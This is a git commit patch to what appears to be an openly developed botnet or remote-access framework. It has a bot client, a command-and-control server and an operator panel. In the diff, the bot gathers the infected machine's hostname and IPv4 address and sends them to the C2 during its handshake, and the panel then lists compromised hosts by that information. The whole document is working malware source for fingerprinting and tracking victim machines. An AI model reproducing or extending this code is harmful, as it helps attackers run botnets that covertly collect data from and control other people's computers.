From c21be8dfee640cd958519260a0d3c58a92503bfa Mon Sep 17 00:00:00 2001 From: CPunch Date: Tue, 15 Feb 2022 16:57:21 -0600 Subject: [PATCH] Added hostname, ip info to handshake - Panel now lists bots by hostname & ip instead of public key --- bot/src/bot.c | 24 +++++++++++++++++++++++- cnc/src/cnc.c | 11 +++++++++-- cnc/src/cpanel.c | 18 ++++++++++-------- lib/include/lpacket.h | 8 +++++++- lib/include/lpeer.h | 1 + lib/include/lsocket.h | 1 + lib/src/lpeer.c | 3 +++ lib/src/lsocket.c | 8 ++++++++ panel/include/pbot.h | 3 ++- panel/src/main.c | 1 + panel/src/pbot.c | 19 +++++++++++++++---- panel/src/pclient.c | 13 +++++++++++-- 12 files changed, 91 insertions(+), 19 deletions(-) diff --git a/bot/src/bot.c b/bot/src/bot.c index a854a19..844260a 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -21,6 +21,8 @@ PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = { struct sLaika_bot *laikaB_newBot(void) { struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot)); + struct hostent *host; + char *tempIPBuf; size_t _unused; laikaP_initPList(&bot->pList); @@ -48,6 +50,24 @@ struct sLaika_bot *laikaB_newBot(void) { LAIKA_ERROR("Failed to init cnc public key!\n"); } + /* grab hostname & ip info */ + if (SOCKETERROR(gethostname(bot->peer->hostname, LAIKA_HOSTNAME_LEN))) { + laikaB_freeBot(bot); + LAIKA_ERROR("gethostname() failed!\n"); + } + + if ((host = gethostbyname(bot->peer->hostname)) == NULL) { + laikaB_freeBot(bot); + LAIKA_ERROR("gethostbyname() failed!\n"); + } + + if ((tempIPBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) { + laikaB_freeBot(bot); + LAIKA_ERROR("inet_ntoa() failed!\n"); + } + + /* copy ipv4 address info */ + strcpy(bot->peer->ipv4, tempIPBuf); return bot; } @@ -72,7 +92,9 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { laikaS_writeByte(sock, LAIKA_VERSION_MAJOR); laikaS_writeByte(sock, LAIKA_VERSION_MINOR); laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */ - laikaS_endOutPacket(bot->peer); /* force packet body to be plaintext */ + laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN); + laikaS_write(sock, bot->peer->ipv4, LAIKA_IPV4_LEN); + laikaS_endOutPacket(bot->peer); laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */ if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0) diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 2c47736..b9b1173 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -7,7 +7,7 @@ #include "cnc.h" LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES, + [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, [LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = sizeof(uint8_t), }; @@ -29,6 +29,14 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v /* read peer's public key */ laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub)); + /* read hostname & ipv4 */ + laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN); + laikaS_read(&peer->sock, peer->ipv4, LAIKA_IPV4_LEN); + + /* restore null-terminator */ + peer->hostname[LAIKA_HOSTNAME_LEN-1] = 0; + peer->ipv4[LAIKA_IPV4_LEN-1] = 0; + /* gen session keys */ if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0) LAIKA_ERROR("failed to gen session key!\n") @@ -101,7 +109,6 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { /* notify connected panels of the newly connected peer */ for (i = 0; i < cnc->panelCount; i++) { - LAIKA_DEBUG("sending new peer to %lx\n", peer); laikaC_sendNewPeer(cnc->panels[i], peer); } } diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index 54f7108..0a0607f 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -21,22 +21,24 @@ bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) { return true; } -void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) { +void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) { laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER); - /* write the bot's pubkey & peerType */ - laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub)); - laikaS_writeByte(&panel->sock, bot->type); + /* write the peer's info */ + laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub)); + laikaS_write(&panel->sock, peer->hostname, LAIKA_HOSTNAME_LEN); + laikaS_write(&panel->sock, peer->ipv4, LAIKA_IPV4_LEN); + laikaS_writeByte(&panel->sock, peer->type); laikaS_endOutPacket(panel); } -void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) { +void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) { laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER); - /* write the bot's pubkey */ - laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub)); - laikaS_writeByte(&panel->sock, bot->type); + /* write the peer's pubkey */ + laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub)); + laikaS_writeByte(&panel->sock, peer->type); laikaS_endOutPacket(panel); } diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 1874456..e2984bb 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -6,6 +6,9 @@ #define LAIKA_MAX_PKTSIZE 4096 +#define LAIKA_HOSTNAME_LEN 64 +#define LAIKA_IPV4_LEN 16 + /* NONCE: randomly generated uint8_t[LAIKA_NONCESIZE] */ /* first handshake between peer & cnc works as so: @@ -22,6 +25,8 @@ enum { * uint8_t majorVer; * uint8_t minorVer; * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with + * char hostname[LAIKA_HOSTNAME_LEN]; + * char ipv4[LAIKA_IPV4_LEN]; */ LAIKAPKT_HANDSHAKE_RES, /* layout of LAIKAPKT_HANDSHAKE_RES: @@ -34,8 +39,9 @@ enum { LAIKAPKT_AUTHENTICATED_ADD_PEER, /* notification that a peer has connected to the cnc */ /* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot + * char hostname[LAIKA_HOSTNAME_LEN]; + * char ipv4[LAIKA_IPV4_LEN]; * uint8_t peerType; - * -- reserved info later (machine info including hostname, OS, machineType, ip, etc.) */ LAIKAPKT_AUTHENTICATED_RMV_PEER, /* notification that a peer has disconnected from the cnc */ /* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index 87d16ad..3c88c73 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -21,6 +21,7 @@ struct sLaika_peer { struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */ uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */ uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES]; + char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN]; struct sLaika_pollList *pList; /* pollList we're activeList in */ PeerPktHandler *handlers; LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */ diff --git a/lib/include/lsocket.h b/lib/include/lsocket.h index fd5f464..8a3329c 100644 --- a/lib/include/lsocket.h +++ b/lib/include/lsocket.h @@ -87,6 +87,7 @@ void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from); bool laikaS_setNonBlock(struct sLaika_socket *sock); void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */ +void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz); /* writes sz NULL bytes to the outBuf */ void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */ void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */ diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index da874ea..defa7c9 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -17,6 +17,9 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS peer->outStart = -1; peer->inStart = -1; peer->useSecure = false; + + memset(peer->hostname, 0, LAIKA_HOSTNAME_LEN); + memset(peer->ipv4, 0, LAIKA_IPV4_LEN); return peer; } diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index 4c6330e..31c8978 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -176,6 +176,14 @@ void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz) { laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz); } +void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) { + laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap); + + /* set NULL bytes */ + memset(&sock->outBuf[sock->outCount], 0, sz); + sock->outCount += sz; +} + void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) { memcpy(buf, sock->inBuf, sz); laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz); diff --git a/panel/include/pbot.h b/panel/include/pbot.h index c2161fd..b1a9128 100644 --- a/panel/include/pbot.h +++ b/panel/include/pbot.h @@ -9,12 +9,13 @@ typedef struct sPanel_bot { uint8_t pub[crypto_kx_PUBLICKEYBYTES]; + char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN]; PEERTYPE type; tPanel_listItem *item; char *name; /* heap allocated string */ } tPanel_bot; -tPanel_bot *panelB_newBot(uint8_t *pubKey); +tPanel_bot *panelB_newBot(uint8_t *pubKey, char *hostname, char *ipv4); void panelB_freeBot(tPanel_bot *bot); /* search connected bots by public key */ diff --git a/panel/src/main.c b/panel/src/main.c index d284a9e..0bb9e30 100644 --- a/panel/src/main.c +++ b/panel/src/main.c @@ -23,6 +23,7 @@ void connectToCNC(void *uData) { panel_botList = panelL_newList(); /* init tabs */ + panelL_newListItem(&panel_tabList->list, NULL, "CNC Flags", NULL, NULL); panelL_newListItem(&panel_tabList->list, panel_botList, "Bot List", NULL, NULL); panelL_init(&panel_tabList->list); panelL_init(panel_botList); diff --git a/panel/src/pbot.c b/panel/src/pbot.c index 7aee73f..9acd9aa 100644 --- a/panel/src/pbot.c +++ b/panel/src/pbot.c @@ -4,15 +4,26 @@ #include "panel.h" -tPanel_bot *panelB_newBot(uint8_t *pubKey) { +tPanel_bot *panelB_newBot(uint8_t *pubKey, char *hostname, char *ipv4) { tPanel_bot *bot = laikaM_malloc(sizeof(tPanel_bot)); - bot->name = laikaM_malloc(256); - - sodium_bin2hex(bot->name, 256, pubKey, crypto_kx_PUBLICKEYBYTES); + int length; /* copy pubKey to bot's pubKey */ memcpy(bot->pub, pubKey, crypto_kx_PUBLICKEYBYTES); + /* copy hostname & ipv4 */ + memcpy(bot->hostname, hostname, LAIKA_HOSTNAME_LEN); + memcpy(bot->ipv4, ipv4, LAIKA_IPV4_LEN); + + /* restore NULL terminators */ + bot->hostname[LAIKA_HOSTNAME_LEN-1] = 0; + bot->ipv4[LAIKA_IPV4_LEN-1] = 0; + + /* make bot name */ + length = strlen(bot->hostname) + 1 + strlen(bot->ipv4) + 1; + bot->name = laikaM_malloc(length); + sprintf(bot->name, "%s@%s", bot->hostname, bot->ipv4); + return bot; } diff --git a/panel/src/pclient.c b/panel/src/pclient.c index 931950a..930c0cf 100644 --- a/panel/src/pclient.c +++ b/panel/src/pclient.c @@ -11,19 +11,24 @@ void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u } void handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN]; uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; uint8_t type; /* read newly connected peer's pubKey */ laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES); + /* read hostname & ipv4 */ + laikaS_read(&peer->sock, hostname, LAIKA_HOSTNAME_LEN); + laikaS_read(&peer->sock, ipv4, LAIKA_IPV4_LEN); + /* read peer's peerType */ type = laikaS_readByte(&peer->sock); /* add peer */ switch (type) { case PEER_BOT: { - tPanel_bot *bot = panelB_newBot(pubKey); + tPanel_bot *bot = panelB_newBot(pubKey, hostname, ipv4); panelC_addBot(bot); break; } @@ -57,7 +62,7 @@ void handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { LAIKAPKT_SIZE panelC_pktSizeTbl[LAIKAPKT_MAXNONE] = { [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t), - [LAIKAPKT_AUTHENTICATED_ADD_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */ + [LAIKAPKT_AUTHENTICATED_ADD_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t) + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, /* pubkey + peerType + host + ip */ [LAIKAPKT_AUTHENTICATED_RMV_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */ }; @@ -125,6 +130,10 @@ void panelC_connectToCNC(tPanel_client *client, char *ip, char *port) { laikaS_writeByte(sock, LAIKA_VERSION_MAJOR); laikaS_writeByte(sock, LAIKA_VERSION_MINOR); laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */ + + /* write stub hostname & ipv4 (since we're a panel/dummy client, cnc doesn't need this information really) */ + laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN); + laikaS_zeroWrite(sock, LAIKA_IPV4_LEN); laikaS_endOutPacket(client->peer); laikaS_setSecure(client->peer, true);